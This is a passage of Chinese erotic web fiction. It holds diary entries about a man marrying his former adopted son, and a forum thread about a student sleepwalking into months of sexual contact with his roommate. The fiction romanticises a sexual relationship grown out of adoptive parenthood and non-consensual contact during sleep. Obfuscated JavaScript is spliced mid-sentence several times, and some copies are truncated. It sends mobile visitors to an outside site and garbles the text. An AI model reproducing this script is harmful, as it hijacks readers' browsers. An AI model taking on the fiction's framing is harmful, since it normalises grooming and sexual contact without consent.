他小声喘着气，低头看了看，突然说，“好像奶油啊。” 我擦拭的手一顿，“下次试试。” 他脸红到耳根，却没反对。 抱着他坐在沙发上看电视，享受午后的静谧时光，阳光暖融，怀中馨香，实在美好。 他按回烹饪节目，看得一脸认真，我问他，为什么突然想学做饭，像以前那样，想吃什么告诉我，他只用等着吃就好。 他有些扭捏，转身环住我的脖子，下唇咬了又松，说:“现在…不一样了嘛。” 以前是养子，现在，是爱人。 后来第一次成功煮出了锅没糊的粥，他高兴坏了，扑到我身上，眼里闪着星星，“我是不是很有天分？” 我捉起他的手亲了又亲，“嗯，是我吃过最好吃的粥。” 帮他在尾指边沿上了药，是他不小心碰到锅边烫的，及时冲了水，只有些发红，也足够让我心疼。 得再想个法子让他打消念头。 比起掌勺，这只手还是握画笔更合适。 或者，握我的…… ——— 主题：【恋爱日记。Day6435】 内容： 他二十岁生日。 我订了餐厅，包下整个顶层，穿了正装，他也难得穿了西装，打了领结，像个矜贵的小王子。 夜景璀璨，烛光晚餐，红酒，音乐，都是他喜欢的，他切蛋糕时，眼里含着泪。 “二十岁了，”我从背后拥住他，握着他的手一起切蛋糕，“成年礼迟了两年，可承诺不会迟。” 我从口袋里掏出戒指盒，打开，单膝跪地，手有点抖。纵横半生，枪顶在脑门上都没这么紧张过。 “嫁给我。”不是询问，是肯定的语气。我知道他会答应，但还是想给他这个仪式。 他愣住了，看着那枚简单的铂金戒指，眼泪一下子涌出来，砸在西装前襟。 “你……你什么时候准备的……”他哽咽着问。 “很久了。”从决定带他离开的那天起，就订做了。 内圈刻着我们名字的缩写，和我们初遇的日子。 他伸出手，颤抖着让我戴上戒指。尺寸刚好，衬得他手指越发白皙修长。 我起身吻他，尝到他眼泪的咸涩和蛋糕的甜腻。 …… 结束时，我们十指相扣，戒指碰在一起，发出细微的轻响。 他累极了，趴在我身上，目不转睛盯着戒指，突然问：“我们真的结婚了吗？” 他还有点不敢相信。 “真的。”我吻他额头，“法律上或许还需要时间，但在心里，你早就是我的配偶。” 他抱紧我，在我心口的旧疤处印下一个满足的吻：“那以后……要叫老公吗？” 我身体一僵。 这个称呼…… 他狡黠地笑，凑到我耳边，用气音叫了一声：“老公……” 要命。 撩拨的结果就是，后半夜他哑着嗓子哭喊了无数遍“老公”，直到再也发不出声音。 ——— 主题：【恋爱日记。Day6440】 内容： 开始筹划婚礼。 不打算大办，只想请几个真正亲近的人还有一两位知道我过去、但已退隐的朋友。 他对婚礼充满期待，自己偷偷看了很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513200|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婚纱——最后还决定穿西装。 今天去成衣店试西装，他穿着修身的三件套从试衣间出来时，我看呆了。 与他生日那件不同，这件显然更为成熟，裹得他腰细腿长，臀线饱满，很…… 辣。 店员夸他帅气，他不好意思地笑笑，转头看我，眼神期待。 “很好看。”我帮他整理领结，低声补充，“想现在就脱掉。” 他偷偷掐我手心。 在两套中纠结，他都有些喜欢，最后定下了一套，又去选对戒。 选来选去，要看花眼，最后干脆也挑了一对花纹简约的铂金圈，是莫比乌斯环的形状，比我那一对细些，叠戴也不违和。 内侧刻上“Day6399”——我们重逢的日子。 “以后每年这一天，都是纪念日。”他晃着我的手，笑得很甜。 晚上回家，他穿着新西装不肯脱，跨坐在我腿上，说让我多看看。 最后那套昂贵的西装皱巴巴得不成样子，他蒙在被子里又羞又恼，不肯理我。我连带着被子一同把他抱起来，打开衣柜，里面挂着另一套。 他愣了下，耳根爆红，“你故意的！” 我咬他耳朵，“我当时就说了，‘想，现在就脱掉’。” ——— 主题：【恋爱日记。Day6466】 内容： 婚礼简单温馨，在后院举办。只有寥寥数人。 阳光很好，他穿着西装，捧着一小束白玫瑰，走向我时，眼睛亮得惊人，每一步都像踩在我心上。 没有神父，我们彼此宣誓。 “我承诺，从今往后，无论顺境逆境，富裕贫穷，健康疾病，都会爱你，珍惜你，直到永远。”我看着他眼睛，一字一句。 他眼泪掉下来，声音却坚定：“我也承诺，永远爱你，陪伴你，做你的家人和爱人。” 交换戒指时，他的手抖得厉害，我握紧他，才把戒指稳稳套上去。 吻他的时候，听到台下的起哄声。他脸红透了，却搂紧我的脖子，回应得毫无保留。 晚上宴席设在家里，我下厨做了几个菜，朋友带来好酒，气氛热烈。没敢让他喝，用筷子沾了些让他尝味道，他被辣得皱起脸，吐舌头，像只小猫。 果酒度数不高，酸酸甜甜，他喝了不少，脸一直红扑扑的，靠在我身上傻笑。 送走客人，收拾完残局，已是深夜。 婚床上铺着大红床单，是室友送的“传统礼物”。他洗完澡出来，穿着红色丝质睡衣，衬得皮肤更白，眼神湿漉漉的。 很难得的，穿了裤子。 “新婚夜……”他爬上床，跪坐在我面前，手指捏着睡衣下摆，“要不要……玩点特别的？” 我慢慢解开睡衣扣子，像是在拆一份珍贵的礼物，睡衣里面，是一件白色蕾丝的小裙子。 婚纱样式，很薄，什么都看得一清二楚，我为他披上头纱，再掀开，他望着我，眼神纯净又诱惑。 是我的新娘。 用唇舌伺候他全身，从锁骨到小腹，再到大腿内侧。他敏感得厉害，轻轻一碰就缩着身子呻吟，汁水泛滥。 （……） 结束时，他瘫软在凌乱的被子中，红白交映，艳色逼人，我拨开他汗湿的额发，说：“宝宝，新婚快乐。” ——— 主题：【恋爱日记。Day6500】 内容： 应该改名叫新婚日记了。 生活渐渐步入正轨。 在学校不远处，我盘下了一个小书店，不大，但安静，客人不多，有时间看书，离家也近，能随时照看他。 他下课常来，窝在角落的沙发里写作业，或者干脆趴着睡觉。阳光透过玻璃窗，落在他柔软的头发上，像笼着一层光晕。 有时会有不识相的学生来搭讪，男男女女都有，确实不止一个拉美裔，那小子被我警告过，只远远看了他几次，不甘离开。 没办法，谁叫我拳头更硬。 他通常礼貌拒绝，亮出戒指：“抱歉，我已婚。” 对方往往惊讶地看着他过分年轻的脸庞，再看看坐在柜台后，面色平静的我，表情复杂地离开。 有一次，一个金发碧眼的小子格外执着，追到店里，当着我的面邀请他周末去派对。 他还没说话，我放下手里的书，走到他身边，揽住他的腰，对那小子说：“他周末要陪我。” 小子看看我，又看看他脸上的红晕，讪讪走了。 人走后，他掐我胳膊：“你干嘛那么凶？” 小声嘀咕，“打人不好。” 我低头吻他：“不打，我宣示主权。” 他哼了一声，嘴角却翘着。 晚上关店，在堆满书的柜台后，他怕被人看见，紧张得不行，身体缩成一团。 我捂着他的嘴，动作又凶又急，书本被撞落一地。 清理完，他一边穿衣服一边骂我：“老流氓，书都弄皱了！这怎么好意思卖！” 我帮他扣好扣子：“明天换新的。” “败家！”他瞪我，眼里却漾着水光。 这堆书也没浪费，被我搬回了家，摆在显眼的位置，他回家看到了，怪叫一声，小脸爆红，拿起来砸我。 当然，一个没砸中，我故意放水，没躲，书籍很厚，砸得很响，他惊呼着过来看，被我托住屁股一把抱了起来。 更皱了，还湿了。 他不许我说他水多。 ——— 主题：【新婚日记。Day6635】 内容： 他放暑假了。 整整三个月，我们整天黏在一起，像连体婴。 白天我在店里忙，他就来帮我，在后院折腾他的花花草草，或者躺在秋千上看书。 那秋千在我们搬家后一周装上了，他喜欢得紧，经常让我推他，荡得很高，笑声能传出去老远。 晚上关了店，手拉手去超市买菜，回家一起做饭。 切菜就算了，让他洗菜择菜，他很乐意做，经常洗着洗着洒我一脖子的水。 幼稚。 饭后窝在沙发上看电影，他必然要挤在我怀里，看到恐怖镜头就往我衣服里钻，看到煽情处就红着眼睛要我亲亲。有时看着看着就睡着了，抱他回床，都舍不得撒手。 情（）也变得日常而频繁。 浴室，厨房，沙发，后院……家里每个角落都留下了痕迹。他越来越放得开，会主动索要，会顶着一张清纯无辜的脸，说些让人脸红心跳的情话。 但偶尔被弄得狠了，还是会哭着喊“爸爸”。 这称呼依然是我的死穴，一听就失控。 网购麻烦，买了一堆小玩意儿没告诉他，海关卡了太久给忘了，直接送到了书店仓库。 很大一包，他还以为是他买的毛绒玩具，兴冲冲跑进去拆，没过一会儿，气呼呼地出来，在我鞋上留了个完整的脚印。 哄人。 他还是穿了。 校服款的水手裙，丝绒短裙，露背装，旗袍，胸链……各式各样，屋子安了新风系统，四季恒温，也不怕冷，后来睡衣也干脆换成了睡裙，方便。 （……） 入睡前，他趴在我怀里，小声说：“以后…每年都要过。” “嗯，”我拍着他的背，“过一百年。” 他累惨了，很快睡着。我看着他安静的睡颜，想起多年前那个怯生生的小团子，也是这么趴在我心口。 现在，他是我的爱人，我的骨中骨，肉中肉。 地狱我没下成，倒是被他拽进了人间。 对了，忘了说，求婚后，以他的名义成立了基金会。 得多做些好事。 以后也要跟着他，一起去天堂。 【此贴持续更新】 —————完————— 13. 梦游那件事（上） 【匿名区】 【完了完了完了怎么会这样半夜醒来发现室友的扔子在我嘴里我要怎么解释啊啊啊啊啊——！！！】（上） 楼主匿名用户（发布时间 01:48） 内容： 正躲在宿舍厕所隔间里发帖，手机只剩百分之五的电，不敢出去。 容我先梳理一下： 事情发生在半小时前，我迷迷糊糊被尿憋醒，觉得嘴里含着什么又软又弹的东西，下意识一吸，然后听到了声闷哼。 很轻，但特别近，就在我头顶，我眼睛一下就睁开了，然后发现我整个人趴在室友床上！！！ 准确地说，是埋在他身前，叼着他左边那颗，右手还伸在他睡衣里，握着另外一边…… 他胸练得不错，手感也真挺好的，按下去会回弹，然后慢慢浮起指印，不是…… 操！ 不开玩笑，那一瞬间我真的想死的心都有了，一动不敢动，生怕把我室友吵醒。好在他睡得很熟，呼吸平稳，就是手还搂着我的脖子，跟抱孩子似的。 我发誓，我从前真的没有梦游的毛病，也不知道怎么会变成这样，我本能的反应就是逃，想装作什么都没发生，悄悄溜回对床。 结果我一松嘴，抬头就对上了他睁开的眼睛。我室友眼睛特好看，看人时总是湿漉漉的，但那会儿我魂都吓飞了，连爬带滚下了床，连梯子都没踩，差点一屁股坐在地上。 我室友估计是以为我翻身掉床了，还起来想拉我，他一起身，睡衣领子滑得更厉害了，扣子边被我吸肿了的特明显，翘着，红艳艳的，又带着水光，跟刚洗出来的樱桃一样。 操操□□在写什么…… 更可怕的是，我好像不是第一次干这事，我室友都习惯了，见我呆呆地盯着他胸看（我发誓那会儿我只是脑子木了不知道该往哪儿看来着）。但他态度特淡定，打了个哈欠，躺回去的时候还往里面挪了挪，说，“没事就行，哈…你上来的时候轻点咬……” 操，他这句话一出比见鬼了还恐怖，我寒毛都竖起来了。 然后他也发现我好像是真的醒了，一骨碌坐了起来，跟我大眼瞪小眼了会儿，耳根一下子红完了。 我室友皮肤也很白，又薄，一害羞就特明显，他把睡衣拢紧了，但脖子和锁骨都是粉的，还有胸那里，直接把睡衣顶起来了，藏都藏不住。 再然后……啊啊啊啊啊！我一抬头就不自觉往他那儿看，跟开了自瞄似的，真他*的张嘴都不知道怎么解释。 现在打字的手都还在抖，操啊，我一口气跑完三千米的心跳都没这会儿快。 算了，干脆先简单介绍下我俩的情况：我男，185体育生，钢铁直男（高亮！）我室友L，比我矮点，182吧，白得跟瓷娃娃一样，腰细腿长，是他们系公认的男神。人挺温柔的，会帮我补课，之前我训练受了点伤，也是他扶着我忙我上药买饭什么的，我球队那些臭小子还调侃他，说他像我的小媳妇儿。 我当时说啥来着，哦我说L要是女的我铁定追他，娶他当老婆。L的反应怎么说，好像是有点怪，笑得有点勉强，我看着他那个样子，心里也有点说不清的不舒服，才想起他有女朋友，赶紧骂了他们一顿，说我室友是人美心善，我俩铁直男瞎起哄个屁，后面就不了了之了。 现在回想起来我真是个傻逼…… 不管了，总之现在我蹲厕所避难呢，有没有还没睡的兄弟给我支个招我该怎么办啊啊啊啊啊，在线等，真的急！！！ 1L 匿名用户 卧槽？我才看完一本宿舍文学，正准备睡，刷到这个一下就醒了，楼主你确定不是在做c梦？ 2L 匿名用户 还让你轻点咬……细思极恐啊兄弟，你室友，不是，你不简单啊。 3L 匿名用户 所以楼主是梦游吃了室友的豆腐？握草这不是我最爱的水煎文学吗，快快快1L的姐妹你看的啥文，能不能分享一下求求了（跪地）我也要梦这个！ 4L 匿名用户 +1，我也跪求！对了楼主，顺带问一嘴，你这个直男保值吗？ 楼主匿名用户 回复1L：操，我宁愿是梦！我大腿都被掐青了，刚差点叫出声来。 回复4L：啥保值不保值……我真他*的是直男！我谈过女朋友的！！！虽然没交往几天就散了吧，我室友平时也有不少女生跟他告白的。 6L 匿名用户 等等，楼主你有没有发现一个问题，你写的什么口感手感形状啥的，描述得这么细致，所以你是平时就在注意L的胸咯？（感觉室友是一款大柰男妈妈，我先舔为敬prprpr。） 7L 匿名用户 回复6L：！！！姐妹你是会抓重点的！ @ 楼主直男会这么注意另一个男人的胸肌形状吗？（我随一口。） 8L 匿名用户 楼主你完蛋了，你直个屁，你这根本就是弯成蚊香了，只是你自己还没发现。（给我让个位置。） 楼主匿名用户 回复6L7L：不是！！因为他女朋友在他身上留的牙印吻痕啥的特别明显，我才多看了几眼。虽然没见过面，但他们应该谈了挺久的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513201|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧，我室友L身上的印子大概从军训后就开始有了。他挺讲究的，平时穿得也挺严实，大夏天在寝室也不会光着上身，就在洗完澡后能看到些，还经常都是在锁骨和胸口。 我有时看到了，还调侃过他女朋友是不是属狗的，怎么把他啃成这样，L每次都脸红到耳朵根，抬手挡住，我还以为他是害羞，现在想想…… 回复8L：够了你们不准舔！！！矜持点行不。 10L 匿名用户 等会儿！你确定那些牙印是L女朋友，而不是你干的？L有没有女朋友暂且不知，但就从他刚才的反应来看，无论怎么看都是你最可疑吧！ 11L 匿名用户 要是L真有女朋友，他应该也不好过吧，额……楼主你这样真的有点恶心，明天就去医院看看行不，别祸害xql了。 12L 匿名用户 楼上的好理智啊，不过说的也没毛病，楼主你确实对L造成了困扰。 13L 匿名用户 叽里咕噜说什么呢，不管我先嗑一嘴，99。（要L真有npy就是他俩99嗯我就这么弹性嗑cp。） 楼主匿名用户 ……让我死吧…… 刚想起来更多细节，L好像……真没说过他有女朋友，也没解释过，一直都是我猜的，而且他从没在外面过过夜。 有次他换衣服，被我看到他□□有点肿，还问他是不是过敏了，给他买了一堆药膏，他欲言又止了好一会儿，说“没事，过两天就好了，谢谢你。” 说起来有个挺莫名其妙的事就是，我从小到大都没住过宿舍，刚开学那会儿还以为自己会不习惯来着。哦，我在学校附近有房子，只不过那会儿跟老爷子吵架，嫌烦没搬，后面习惯了也懒得搬了。 当时寝室就三人，军训才过一半其中一个就申请外宿了，一直也没再添新人，就我俩住。 我室友人是真的好，很爱干净，也不磨牙打呼噜什么的，我俩处得蛮愉快。我有一次下课出去跟以前的朋友喝酒，没注意时间，快门禁时L给我打电话问我回不回来，我还觉得是他关心我，心里还挺暖乎，找了个代驾把我送回宿舍，我还记得他看到我的时候那个表情哈哈哈，特别萌。 反正后面一到晚上我就不得劲，总想着回学校，在外面过不了夜。发小还笑我是贱得慌，有别墅不住偏要挤小格子，难不成是对迟来的住宿生活上了瘾，嗯…… （已经找人给我挂了号，明天就去看。） 15L 匿名用户 字太多不看，划到最后，总结:楼主是对室友的大艿子上了瘾。 14. 梦游那件事（中） 16L匿名用户 ……等等，刚想说一句还挺甜，才看到你这又是房又是车的，破防了，我狠狠破防！楼主你还记得自己只是个大一的梦游（疑似）患者吗？！人设崩了啊啊啊！ 说你跟你室友就行了，其他的谁问了，谁问你了？！ 富二代天龙人给我滚粗！！！ （顺便同意15L。） 17L 匿名用户 怒了，兄弟你在哪个寝室，我明天就去求辅导员让我搬进去，我这么晚还没睡不就是被那几个打呼磨牙的灾舅子吵的吗！我纯直男保证不会夜袭吃柰！ 回复16L：……回复完才看见，妈蛋，楼主你的美人室友我享用了，你的房子车子票子我也享用了！！！ 18L 匿名用户 只有我好奇楼主平时是怎么在梦游状态下精准爬上床还不摔下来的吗？体育生梦游会爆改蜘蛛侠？ 楼主匿名用户 刚给之前搬走那个室友发了消息，他告诉我，开学没多久，就从军训起我就开始夜袭L了。据说我第一次爬床的时候，L吓得不行，试图推我，但我185的体格摆在那儿，又一身腱子肉，他推不动，也把我叫不醒，军训了一天实在累着了，就这么让我含着睡了过去。 后来几天L也试过等我先睡，然后把我绑在床上，没用，试过把我诱去阳台锁着，结果我在外面挠门叫他的名字，他一心软又开了…… 前室友不知道真相，但他不敢惹我，干脆就外宿了。 所以……就等于，这半年里，我每晚都在对L……他脸皮又薄，我记忆中他从来没问过我，感觉后面就默许了…… 回复17L：滚，想都别想。 回复18L: 可能是我身体素质好？反正我从小运动到现在，攀岩跳伞潜水什么的都搞过，不说别的，跑个3km那是轻而易举，连热身都算不上。 20L 匿名用户 楼主你资逗你现在像什么吗？ 特像一条护食的狗hhhhhh，承认吧，你就是喜欢L。 21L 匿名用户 …… 呵呵呵楼主你说这么多，L的身份我已经猜得八九不离十了，心碎……所以我们论坛一半女生的暗恋对象被你小子当安抚奶嘴用了半年，你还以为是人家女朋友的杰作？！ 纳命来！！！ 22L 匿名用户 回复21L：这是xsr好吗？！建议楼主室友报警。 23L 匿名用户 回复22L：但当事人默许半年了诶，这分明是双向奔赴，反正以我的经验看来，他俩铁定能成。 24L 匿名用户 握草我也知道楼主是谁了，哥们儿你刚开学开的那辆超跑巨巨巨酷的啊！后面怎么没见你开过了？！ 楼主匿名用户 回复22L: 放心，如果他选择追责的话，我不会逃避。 回复24L: 改装过，引擎太吵，我习惯了，一开就想飙，有次把L吓哭了，干脆就扔车库吃灰了。 26L 匿名用户 ？ 凭啥不回我。 跳过我我也要说一句99。 【五分钟后】 楼主匿名用户 刚才L来敲厕所门了，叫我的名字，问我还要在里面待多久。 我吓得手机差点掉坑里。 他说：“明天还有早八，先睡觉好不好？” 声音特别轻，感觉像在哄我…… 不是我做错了事在先吗，他怎么一点都不生气？脾气再好也不能好成这样吧…… 你们说我，是不是该先给他……道个歉？ 没做过…从小到大都是别人先向我低头，但L不一样……咳，该，怎么说啊…… 28L 匿名用户 还道啥歉啊，直接求婚吧！ 29L 匿名用户 楼主我教你：出去就说“对不起，但我清醒的时候可以继续吗？” 30L 匿名用户 回复29L：高手，这真的是高手，楼主快来学。 31L 匿名用户 楼上的一个二个添啥乱呢，不管L脾气再好，楼主也确实该诚恳地好好跟他道个歉，半年了都，L的柰子，不是，胸都被你口乞大了一圈吧，颜色说不定都变深了，这种生理上的变化该咋消啊？ 你还得给他赔偿。 32L 匿名用户 我去……楼上你是会磕的，看得我小脸通黄，咳，支持道歉，支持赔偿，楼主快上啊！。 楼主匿名用户（发布时间 02:25） 我出来了。他坐在我床上（我们是上下铺，他睡我上面来着），穿着那件被我扯松领口的睡衣，扣子扣到顶了，头发乱乱的，抬头看我的时候眼睛有点红红的，像哭过了。 我当时啥都没想，脱口而出就是一声：“对不起。”结果腿蹲太久麻了，膝盖跟中箭了一样，扑通一声就跪下了…… 草，老子这辈子还没跪过什么人，还好是当着L的面，行吧，也不算丢人。他慌里慌张地起来扶我，跟个小兔子一样，拉一下没拉动，被椅子一绊差点摔我身上。 腰是真的细。 …… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513202|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >我到底在写啥啊我去…… 不管了，就当我疯了吧，反正后面我又跟L道了次歉，说我也不知道我会这样。 他递给我一杯温水，我碰到他指尖的时候，他缩了下：“嗯。” 我又问：“那些牙印……都是我吗？” 他耳朵尖红了，点头。 我整个人都要烧起来了：“那你为什么不狠狠踹醒我？” 他抬头看我一眼，又低下头，抿了下唇：“你睡眠质量太好了……” 感觉他是想说我睡得跟死猪一样，其实直接说就行，我又不会生他的气。 我说我不渴，看他嘴唇有点干，把杯子直接递到他唇边了，他喝了口水，然后说了件让我更崩溃的事。 他说我从两个月前开始，有时会一边口及他柰…那里，一边摸他腰，他被我弄醒好几次，后来发现把我头抱住，我手就不会乱动。 但就我醒那会儿还保持着揉…的姿势看来，这招现在也不是很管用啊。 还有，我就说依稀记得他以前自己说过他腰上有痒痒肉，很敏感，不喜欢被别人碰来着，我平时大大咧咧的忘了这茬，但我记着每次搂他的时候他也没躲，合着是被我弄脱敏了啊…… 这算不算一件好事？ 34L 匿名用户 啊啊啊啊啊这说明什么，说明楼主你不是“别人”啊！ 好甜！我又嗑到了真的了！ 35L 匿名用户 …… 好个屁，脱个屁敏。 上周有个隔壁系的跟L搭讪不成想碰他肩膀，他一下就躲开了，还冷脸瞪了那人来着呵呵呵，合着不是不让碰，是碰的人不对啊呵呵呵呵呵…… 楼主你不就有点票子有张还看得过去的脸吗！凭什么！！ 我恨啊！！！ 36L 匿名用户 喂喂喂，我再强调一遍，这里不是你俩的大床房。 37L 匿名用户 35L的姐妹别黑化了，快来跟我们一起嗑cp吧！ 楼主我命令你现在就去亲他！ 楼主匿名用户（发布时间 02:56） 坦白了，说我明天一早就去看医生，也提了赔偿的事，他没要，说这没什么…… 草，这怎么能是没什么呢？！要不是我，是个对他心怀不轨的人，说不定会对他做出更下流的事来，一想到这儿我肺都快气炸了，没忍住吼了一句，“你是不是对谁都这样？” 他肩膀一缩，头埋得更低了，然后我看见，一滴水砸在他膝盖上…… 39L 匿名用户 …… 15. 梦游那件事（下） 40L 匿名用户 握草楼主你这纯纯顺风局都能打逆，牛的哥们儿，牛的。 41L 匿名用户 ZC你他*的有病吧，L该你的是不是，被你占便宜又被你这么凶，草！你真他*的不是个人，滚出来打一架！ 42L 匿名用户 合着35L写的你没看见啊，我真无语了…… 这不很明显吗L几个月下来都被你吃成娇妻了结果你突然吼这么一句呵呵，知道楼主之前的npy为啥只跟你谈了几天就分了，情商堪忧啊。 支持楼上的兄弟，我随一，不，三拳。 楼主匿名用户 回复40L：…… 回复41L：你是那个成天跟他屁股后面跑的YYJ？呵，你连我半个拳头都接不住，还想跟我打架？笑话。 还有，这是我跟L的事，跟你有什么关系？ 回复42L: ……才看到。 刚才是我态度不好，哄了，拿了毛巾给他擦脸，把他抱上了床。 他一躺好就用背对着我，感觉是还没哄好。 气氛有点僵住了。 看了下时间，太晚了，我说是我不对，让他先好好休息，有什么事等明天我去医院看了回来再跟他谈，到时候是报警也好，是换宿……草，说实话我真不想换，但看他哭我也挺难受的。 但他还是什么都没说…… 刚刚把我攀岩用的绳子翻了出来，把手绑床头了，寻思大不了我今晚不睡，没过多久，我头顶上传来一阵窸窸窣窣的声音。 我想我在这儿，L应该也睡不着，刚想说干脆我去走廊站着，不打扰他，也省得他心烦。 结果他让我上去。 …… 那会儿我心跳都停了，忘了还有绳子，站起来一下就被我崩断了，抽我胳膊上还怪疼的。 我现在躺在他的床上，他还是背对着我，但差不多…是半靠在我怀里的，他洗发水的味道一直往我鼻子里钻。 很香。 他之前的洗发水什么的太便宜，他给我讲高数题的时候那股劣质香熏得我直打喷嚏，我就让他用我的。 一个味道，但他就是闻着比我香。 他耳朵现在还是红的。 44L 匿名用户 经典桥段之“兄弟你好香”终于出来了！ 哦翻了下前面还有“兄弟你x好大，兄弟你腰好细。”嗯嗯按照x片定律接下来也该轮到“兄弟你屁．股好翘了。” 坐等更新！ 45L 匿名用户 回复44L：你这是在教唆犯罪！ 绳子都绑不住，楼主完全是个危险分子啊！你现在应该立刻，下床离开宿舍！放过L吧！ 46L 匿名用户 回复45L：喂这位哥，拆人姻缘天打雷劈的知不知道。 楼主匿名用户 完了，彻底解释不清了…… 我刚才鬼使神差闻了下他头发，他颤了一下，小声问：“你醒着的时候也要这样吗？” 我脑子一抽：“可以吗？” 他没吭声，但是把我的手拉过去放在他腰上了。 我现在硬,,/得不行……我是个直男啊！（声音逐渐虚弱） 48L 匿名用户 都硬．//了还直男？楼主你对直男是不是有什么误解？ 49L 匿名用户 直男＝晋江直接硬了的男人。 50L 匿名用户 直接放腰上了啊啊啊好钓！这不是邀请是什么？！楼主快直播！ 51L 匿名用户 所以那些“女朋友的吻痕”根本是楼主的杰作，那所谓的女朋友真的存在吗？ 楼主匿名用户 回复51L:我刚问他了，问他为什么一点不生气。 他隔了好一会儿才特别小声地说：“生过……” 声音差点被我的心跳声盖过去。 L一开始是气过，但上面也说了，他拿晚上的我没办法，白天又发现我完全记不得，后面自己去网上搜了，以为我得了那个什么，睡眠性//交症，觉得我是压力太大才这样，就一直忍着了…… 也问了他女朋友的事，他把脸闷在被子里，声音嗡嗡的：“我从来没说过我有女朋友。” “那为什么还让我上床？” 他说他不知道。 把他翻过来了，现在他脸埋在我肩窝里，手还攥着我的衣角。 好乖…… 63L 匿名用户 啊啊啊啊啊啊这不是爱而不自知是什么！楼主快告白啊！快亲他！ 64L 匿名用户 所以这半年L每晚都被你嘬醒然后忍着，一直在等你清醒着发现？？ 这是什么纯爱剧情我死了！！！ 65L 匿名用户 都说二十一天就能养成一个习惯，这都半年了，我猜没了楼主，L胸口空落落的（字面意思）也睡不着，但他不好意思说，才会开口让楼主上去。 66L 匿名用户 楼主你还觉得自己是直男吗？ 楼主匿名用户 回复65L: 可能是吧…我也感觉嘴里空荡荡的，不习惯。 回复66L: 不知道。 但一想如果是L的话，也不是不行，草…… 刚才他抬头看我，说话时的热气都洒在我脸上，嘴唇离我很近，红润润的。 那一瞬间特别想亲，忍住了。 我问他：“L，你为什么对我这么好？” 毕竟半年，真的太久了。 他说是因为我对他也好，他说了很多，我都没什么印象了。什么帮他解围，买书，他发烧带他去医院陪他打点滴，喂粥，给他的补课费那么高，还介绍他去做家教让他完全不用跑来跑去到处兼职（L家里有点复杂，之前一直勤工俭学，碰到黑心老板累晕过一次，抱着都硌手）。 感觉都是些小事，我随手就做了，但他一直记在心里。 现在想想，我还真不是个乐于助人的人，好像……也只对他好心。 然后我问他，不会难受吗？ 他开始还没懂我的意思， 我指了指，他脸瞬间全红了，跟熟透了的水蜜桃一模一样，眼睛湿漉漉的，说：“一开始有一点，麻酥酥的，会胀，后来习惯了，只要我不吸就还好。” 我问他吸了会怎么样？ 他又不说话了，瞪了我一眼。 像在撒娇。 想再吸一口试试。 我是不是有点太变态了？ 68L 匿名用户 你俩这是拿的什么双向暗恋剧本？这不是变态，是爱情啊！ 69L 匿名用户 等了一晚上就等这个时刻，楼主快行动！不亲不是男人！ 楼主匿名用户 （此条语音消息，转换为文字） “我亲了。” “他回应了。” “我们现在在接吻。” “他的手环着我的脖子。” “……” “他说他可以帮我。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513203|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我是直男吗？” “不重要了。” 71L 匿名用户 ！！！！！！恭喜！！！ 72L 匿名用户 今夜我们都是楼主宿舍的床板！！！（不是） 73L 匿名用户 …… 真给你小子吃上好的了。 74L 匿名用户 等等，楼主说“他可以帮我”……帮什么？怎么帮？用什么帮？详细说说！我一点都不困！！！ 【二十分钟后】 楼主匿名用户 （此条语音消息，转换为文字） “我们在浴室。” “吸了，他叫得很好听，帮他口了，他腿一直在抖。” “没忍住，把他按在洗漱台上……镜子里的艿,子一直在晃。” “他边哭边骂我，说我比睡着时凶多了，但一直在流水。” “我要死了。” 98L 匿名用户 卧槽？！进展这么快？！ 99L 匿名用户 楼主从发现真相到开干只用了两小时？这什么神速！ 100L 匿名用户 合着之前半年的梦游是你俩的前,,戏啊，握草，咱这儿真成大床房了啊，允悲…… 楼主匿名用户（发布时间03:57） （此条内容经过自动屏蔽处理） 回到床上了。 浴室还是太小，在我床上又来了次，他现在趴在我怀里，脖子到大腿全是新鲜的吻/痕。 我说：“从明天开始我要天天这样，清醒着来。” 他困得眼睛都睁不开，还对我笑：“随你。” 我又问：“我梦游时除了吃/……，还做什么了？” 他: “有时候会……//。” “哪里？” 他没说话了，膝盖悄悄蹭了蹭我的腰。 